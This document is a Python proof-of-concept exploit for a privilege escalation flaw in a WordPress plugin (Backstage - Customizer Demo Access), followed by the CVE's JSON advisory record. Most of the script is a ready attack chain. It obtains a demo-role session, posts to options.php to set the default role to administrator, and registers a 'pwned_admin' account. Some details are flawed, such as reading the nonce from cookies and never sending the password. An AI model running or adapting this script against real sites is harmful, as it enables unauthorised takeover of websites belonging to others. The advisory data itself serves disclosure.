CVE-2026-9842

# CVE-2026-9842 Exploit PoC # WordPress Backstage Plugin Privilege Escalation # Affected: Backstage - Customizer Demo Access <= 1.4.2 import requests TARGET_URL = "http://target-wordpress-site.com" # Step 1: Access the Customizer to obtain backstage_customizer_user role session def get_customizer_session(target_url): """ Access the WordPress Customizer page to obtain a session with backstage_customizer_user role capabilities. """ session = requests.Session() # Access the Customizer page customizer_url = f"{target_url}/wp-admin/customize.php" response = session.get(customizer_url) # The plugin may auto-create a backstage_customizer_user session return session # Step 2: Modify default_role option to administrator using manage_options capability def escalate_privileges(session, target_url): """ Exploit the manage_options capability assigned to backstage_customizer_user to modify the default_role WordPress option. """ # Use WordPress options.php to update default_role options_url = f"{target_url}/wp-admin/options.php" data = { "option_page": "general", "action": "update", "default_role": "administrator", # Escalate default role to administrator "_wpnonce": session.cookies.get("_wpnonce", ""), "_wp_http_referer": "/wp-admin/options-general.php", "blogname": "test", "blogdescription": "test", "siteurl": "http://target-wordpress-site.com", "home": "http://target-wordpress-site.com", "admin_email": "[email protected]", "users_can_register": "1", "default_role": "administrator", "WPLANG": "", "submit": "Save Changes" } response = session.post(options_url, data=data) return response # Step 3: Register a new admin account (now default role is administrator) def register_admin(session, target_url, username, password, email): """ Register a new user account which will automatically be assigned administrator role due to the modified default_role option. """ register_url = f"{target_url}/wp-login.php?action=register" data = { "user_login": username, "user_email": email, "wp-submit": "Register", "redirect_to": "", "wpnonce": session.cookies.get("_wpnonce", "") } response = session.post(register_url, data=data) return response # Main exploit chain if __name__ == "__main__": # Step 1: Get customizer session with backstage_customizer_user role session = get_customizer_session(TARGET_URL) # Step 2: Escalate privileges by modifying default_role result = escalate_privileges(session, TARGET_URL) if result.status_code == 200: print("[+] Successfully modified default_role to administrator") # Step 3: Register a new administrator account register_result = register_admin( session, TARGET_URL, "pwned_admin", "P@ssw0rd123!", "[email protected]" ) print("[+] New administrator account created") else: print("[-] Exploit failed")

{"cve": {"id": "CVE-2026-9842", "sourceIdentifier": "[email protected]", "published": "2026-07-08T05:16:29.097", "lastModified": "2026-07-08T14:55:07.843", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Backstage - Customizer Demo Access plugin for WordPress is vulnerable to Privilege Escalation in all versions up to, and including, 1.4.2. This is due to the plugin assigning the `manage_options` capability to the `backstage_customizer_user` demo role, which is more permissive than necessary for Customizer-only demo access. This makes it possible for unauthenticated attackers to navigate beyond the Customizer and update arbitrary WordPress options such as `default_role`, leading to privilege escalation."}], "affected": [{"source": "[email protected]", "affectedData": [{"vendor": "pixelgrade", "product": "Backstage – Customizer Demo Access", "defaultStatus": "unaffected", "versions": [{"version": "0", "lessThanOrEqual": "1.4.2", "versionType": "semver", "status": "affected"}]}]}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 3.6}], "ssvcV203": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "ssvcData": {"timestamp": "2026-07-08T13:00:54.003774Z", "id": "CVE-2026-9842", "options": [{"exploitation": "none"}, {"automatable": "yes"}, {"technicalImpact": "partial"}], "role": "CISA Coordinator", "version": "2.0.3"}}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-269"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/backstage/tags/1.4.2/includes/class-Backstage.php#L154", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/backstage/tags/1.4.2/includes/class-Backstage.php#L348", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/5bcf1f02-0946-4e96-a81b-00c7c48d64b3?source=cve", "source": "[email protected]"}]}}